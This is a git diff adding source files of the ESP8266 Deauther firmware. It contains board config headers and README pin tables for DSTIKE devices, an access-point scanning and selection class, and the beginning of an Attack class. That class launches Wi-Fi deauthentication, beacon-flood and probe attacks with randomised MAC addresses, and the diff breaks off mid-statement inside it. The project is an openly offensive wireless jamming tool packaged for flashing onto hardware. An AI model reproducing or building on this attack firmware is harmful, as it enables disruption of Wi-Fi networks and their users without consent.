- v3 + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 16 | +| LED G | disabled | +| LED B | GPIO 2 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h new file mode 100755 index 0000000..19900a6 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h @@ -0,0 +1,26 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md new file mode 100755 index 0000000..2bda2ad --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v3.5_v4_Monster/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther OLED v3.5, v4 & DSTIKE Deauth Monster + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h new file mode 100755 index 0000000..f3a5e25 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/A_config.h @@ -0,0 +1,25 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 4 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md new file mode 100755 index 0000000..c6fe1de --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_USB_Deauther_v2/README.md @@ -0,0 +1,17 @@ +# DSTIKE USB Deauther v2 + +| | | +| - | - | +| LED Type | Neopixel (WS2812b) | +| LED Pin | GPIO 4 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up | disabled | +| Button Down | disabled | +| Button A | disabled | +| Button B | disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h new file mode 100755 index 0000000..74ee455 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/A_config.h @@ -0,0 +1,28 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED +#define HIGHLIGHT_LED 16 + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRBW + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md new file mode 100755 index 0000000..7f33fb7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Wristband_Mini/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther Wristband and Deauther Mini + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | 16 | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/Default/A_config.h b/enp8266/esp8266_deauther-master/configs/Default/A_config.h new file mode 100755 index 0000000..a555ee9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/Default/A_config.h @@ -0,0 +1,83 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +//#define DEFAULT_SSID "pwned" +//#define HIGHLIGHT_LED 16 + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define DIGITAL_LED +//#define RGB_LED +//#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = +*/ +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/Default/README.md b/enp8266/esp8266_deauther-master/configs/Default/README.md new file mode 100755 index 0000000..7c900fd --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/Default/README.md @@ -0,0 +1,20 @@ +# Default Config +Default configuration for all boards without using a display or RGB LED. +The display can be enabled over the settings. + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 2 | +| LED G | disabled | +| LED B | GPIO 16 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 14 (D5) | +| Button Down | GPIO 12 (D6) | +| Button A | GPIO 13 (D7) | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h new file mode 100755 index 0000000..1590022 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/A_config.h @@ -0,0 +1,29 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +#define DEFAULT_SSID "Dickbutt " + bytesToStr(&(settings.getMacAP()[3]), 3) + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED + +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 255 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md new file mode 100755 index 0000000..7dc0ce1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/MrRobotBadge_Dickbutt_Addon/README.md @@ -0,0 +1,22 @@ +# MrRobotBadge Dickbutt Shitty Addon + +-> https://twitter.com/MrRobotBadge + +Has a default SSID "Dickbutt 00:11:22" (00:11:22 = last 3 bytes of the MAC address) + +| | | +| - | - | +| LED Type | Digital | +| LED R | disabled | +| LED G | disabled | +| LED B | 2 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 14 (D5) | +| Button Down | GPIO 12 (D6) | +| Button A | GPIO 13 (D7) | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/README.md b/enp8266/esp8266_deauther-master/configs/README.md new file mode 100755 index 0000000..bdedeca --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/README.md @@ -0,0 +1,26 @@ +# Config Files + +Here you find a bunch of modified config files for different boards. +The default config should be fine for all boards that don't have a display or a RGB LED (like the NodeMCU). + +Copy the `A_config.h` file and paste it in the Arduino sektch and replace the default config file. + +- [Default Config (NodeMCU, Wemos d1 mini, ...)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) + +- DSTIKE Deauther (without OLED) + - [DSTIKE Deauther v1, v2, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) + - [DSTIKE Deauther v3.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h) +- DSTIKE Deauther OLED + - [DSTIKE Deauther OLED v1, v1.5](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1_v1.5/A_config.h) + - [DSTIKE Deauther OLED v1.5S (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v1.5S/A_config.h) + - [DSTIKE Deauther OLED v2, v2.5, v3](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h) + - [DSTIKE Deauther OLED v3.5, v4](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h) + - [DSTIKE Deauther OLED Mini](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h) +- [DSTIKE Deauther Wristband](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Wristband_Mini/A_config.h) +- [DSTIKE Deauther Monster](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_OLED_v3.5_v4_Monster/A_config.h) +- [DSTIKE Deauther Boy](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_Boy/A_config.h) +- [DSTIKE NodeMCU-07 v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) +- [DSTIKE NodeMCU-07 v2](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h) +- [DSTIKE USB Deauther v1](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/Default/A_config.h) +- [DSTIKE USB Deauther v2 (with RGB)](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_USB_Deauther_v2/A_config.h) +- [DSTIKE D-duino with LED Ring Shield](https://github.com/spacehuhn/esp8266_deauther/blob/master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h) diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h b/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h new file mode 100755 index 0000000..e86da7a --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h @@ -0,0 +1,83 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +//#define DEFAULT_SSID "pwned" +//#define HIGHLIGHT_LED 16 + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define DIGITAL_LED +//#define RGB_LED +//#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 14 +#define BUTTON_DOWN 12 +#define BUTTON_A 13 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = +*/ +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp new file mode 100755 index 0000000..0705a51 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp @@ -0,0 +1,311 @@ +#include "Accesspoints.h" + +Accesspoints::Accesspoints() { + list = new SimpleList; +} + +void Accesspoints::sort() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; + + if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::sortAfterChannel() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; + + if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::add(uint8_t id, bool selected) { + list->add(AP{ id, selected }); + changed = true; +} + +void Accesspoints::printAll() { + prntln(AP_HEADER); + int c = count(); + + if (c == 0) prntln(AP_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Accesspoints::printSelected() { + prntln(AP_HEADER); + int max = selected(); + + if (selected() == 0) { + prntln(AP_NO_AP_SELECTED); + return; + } + int c = count(); + int j = 0; + + for (int i = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Accesspoints::print(int num) { + print(num, true, true); +} + +void Accesspoints::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(AP_TABLE_HEADER); + prntln(AP_TABLE_DIVIDER); + } + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) { + prntln(AP_TABLE_DIVIDER); + } +} + +String Accesspoints::getSSID(int num) { + if (!check(num)) return String(); + + if (getHidden(num)) { + return str(AP_HIDDEN); + } else { + String ssid = WiFi.SSID(getID(num)); + ssid = ssid.substring(0, 32); + ssid = fixUtf8(ssid); + return ssid; + } +} + +String Accesspoints::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +uint8_t Accesspoints::getCh(int num) { + if (!check(num)) return 0; + + return WiFi.channel(getID(num)); +} + +int Accesspoints::getRSSI(int num) { + if (!check(num)) return 0; + + return WiFi.RSSI(getID(num)); +} + +uint8_t Accesspoints::getEnc(int num) { + if (!check(num)) return 0; + + return WiFi.encryptionType(getID(num)); +} + +String Accesspoints::getEncStr(int num) { + if (!check(num)) return String(); + + switch (getEnc(num)) { + case ENC_TYPE_NONE: + return String(DASH); + + break; + + case ENC_TYPE_WEP: + return str(AP_WEP); + + break; + + case ENC_TYPE_TKIP: + return str(AP_WPA); + + break; + + case ENC_TYPE_CCMP: + return str(AP_WPA2); + + break; + + case ENC_TYPE_AUTO: + return str(AP_AUTO); + + break; + } + return String(QUESTIONMARK); +} + +String Accesspoints::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t* Accesspoints::getMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(getID(num)); +} + +String Accesspoints::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Accesspoints::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(getMac(num)); +} + +bool Accesspoints::getHidden(int num) { + if (!check(num)) return false; + + return WiFi.isHidden(getID(num)); +} + +bool Accesspoints::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Accesspoints::getID(int num) { + if (!check(num)) return -1; + + return list->get(num).id; +} + +void Accesspoints::select(int num) { + if (!check(num)) return; + + internal_select(num); + + prnt(AP_SELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + + prnt(AP_DESELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::remove(int num) { + if (!check(num)) return; + + prnt(AP_REMOVED); + prntln(getSSID(num)); + + internal_remove(num); + + changed = true; +} + +void Accesspoints::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Accesspoints::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Accesspoints::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Accesspoints::selectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); + prntln(AP_SELECTED_ALL); + changed = true; +} + +void Accesspoints::deselectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); + prntln(AP_DESELECTED_ALL); + changed = true; +} + +void Accesspoints::removeAll() { + while (count() > 0) internal_remove(0); + prntln(AP_REMOVED_ALL); + changed = true; +} + +int Accesspoints::find(uint8_t id) { + int s = list->size(); + + for (int i = 0; i < s; i++) { + if (list->get(i).id == id) return i; + } + return -1; +} + +int Accesspoints::count() { + return list->size(); +} + +int Accesspoints::selected() { + int c = 0; + + for (int i = 0; i < list->size(); i++) c += list->get(i).selected; + return c; +} + +bool Accesspoints::check(int num) { + if (internal_check(num)) return true; + + prnt(AP_NO_AP_ERROR); + prntln((String)num); + return false; +} + +bool Accesspoints::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Accesspoints::internal_select(int num) { + list->replace(num, AP{ list->get(num).id, true }); +} + +void Accesspoints::internal_deselect(int num) { + list->replace(num, AP{ list->get(num).id, false }); +} + +void Accesspoints::internal_remove(int num) { + list->remove(num); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h new file mode 100755 index 0000000..84cc3a0 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h @@ -0,0 +1,81 @@ +#ifndef Accesspoints_h +#define Accesspoints_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Names.h" + +extern Names names; + +extern String searchVendor(uint8_t* mac); +extern String leftRight(String a, String b, int len); +extern String fixUtf8(String str); +extern String bytesToStr(uint8_t* b, uint32_t size); + +struct AP { + uint8_t id; + bool selected; +}; + +class Accesspoints { + public: + Accesspoints(); + + void sort(); + void sortAfterChannel(); + + void add(uint8_t id, bool selected); + + void print(int num); + void print(int num, bool header, bool footer); + + void select(int num); + void deselect(int num); + void remove(int num); + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + String getSSID(int num); + String getNameStr(int num); + String getEncStr(int num); + String getMacStr(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + uint8_t getEnc(int num); + uint8_t getID(int num); + int getRSSI(int num); + uint8_t* getMac(int num); + bool getHidden(int num); + bool getSelected(int num); + + int find(uint8_t id); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + SimpleList* list; + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_remove(int num); +}; + +#endif // ifndef Accesspoints_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp new file mode 100755 index 0000000..a3fd957 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp @@ -0,0 +1,458 @@ +#include "Attack.h" + +Attack::Attack() { + getRandomMac(mac); + + if (settings.getBeaconInterval()) { + // 1s beacon interval + beaconPacket[32] = 0xe8; + beaconPacket[33] = 0x03; + } else { + // 100ms beacon interval + beaconPacket[32] = 0x64; + beaconPacket[33] = 0x00; + } + + deauth.time = currentTime; + beacon.time = currentTime; + probe.time = currentTime; +} + +void Attack::start() { + stop(); + prntln(A_START); + attackTime = currentTime; + attackStartTime = currentTime; + accesspoints.sortAfterChannel(); + stations.sortAfterChannel(); + running = true; +} + +void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { + Attack::beacon.active = beacon; + Attack::deauth.active = deauth || deauthAll; + Attack::deauthAll = deauthAll; + Attack::probe.active = probe; + + Attack::output = output; + Attack::timeout = timeout; + + // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && + // scan.countSelected() > 0)){ + if (beacon || probe || deauthAll || deauth) { + start(); + } else { + prntln(A_NO_MODE_ERROR); + accesspoints.sort(); + stations.sort(); + stop(); + } +} + +void Attack::stop() { + if (running) { + running = false; + deauthPkts = 0; + beaconPkts = 0; + probePkts = 0; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.maxPkts = 0; + beacon.maxPkts = 0; + probe.maxPkts = 0; + packetRate = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + prntln(A_STOP); + } +} + +bool Attack::isRunning() { + return running; +} + +void Attack::updateCounter() { + // stop when timeout is active and time is up + if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { + prntln(A_TIMEOUT); + stop(); + return; + } + + // deauth packets per second + if (deauth.active) { + if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.count() + stations.count() * 2 - names.selected()); + else deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); + } else { + deauth.maxPkts = 0; + } + + // beacon packets per second + if (beacon.active) { + beacon.maxPkts = ssids.count(); + + if (!settings.getBeaconInterval()) beacon.maxPkts *= 10; + } else { + beacon.maxPkts = 0; + } + + // probe packets per second + if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID(); + else probe.maxPkts = 0; + + // random transmission power + if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21)); + else setOutputPower(20.5f); + + // reset counters + deauthPkts = deauth.packetCounter; + beaconPkts = beacon.packetCounter; + probePkts = probe.packetCounter; + packetRate = tmpPacketRate; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + tmpPacketRate = 0; +} + +void Attack::status() { + char s[120]; + + sprintf(s, str( + A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, + 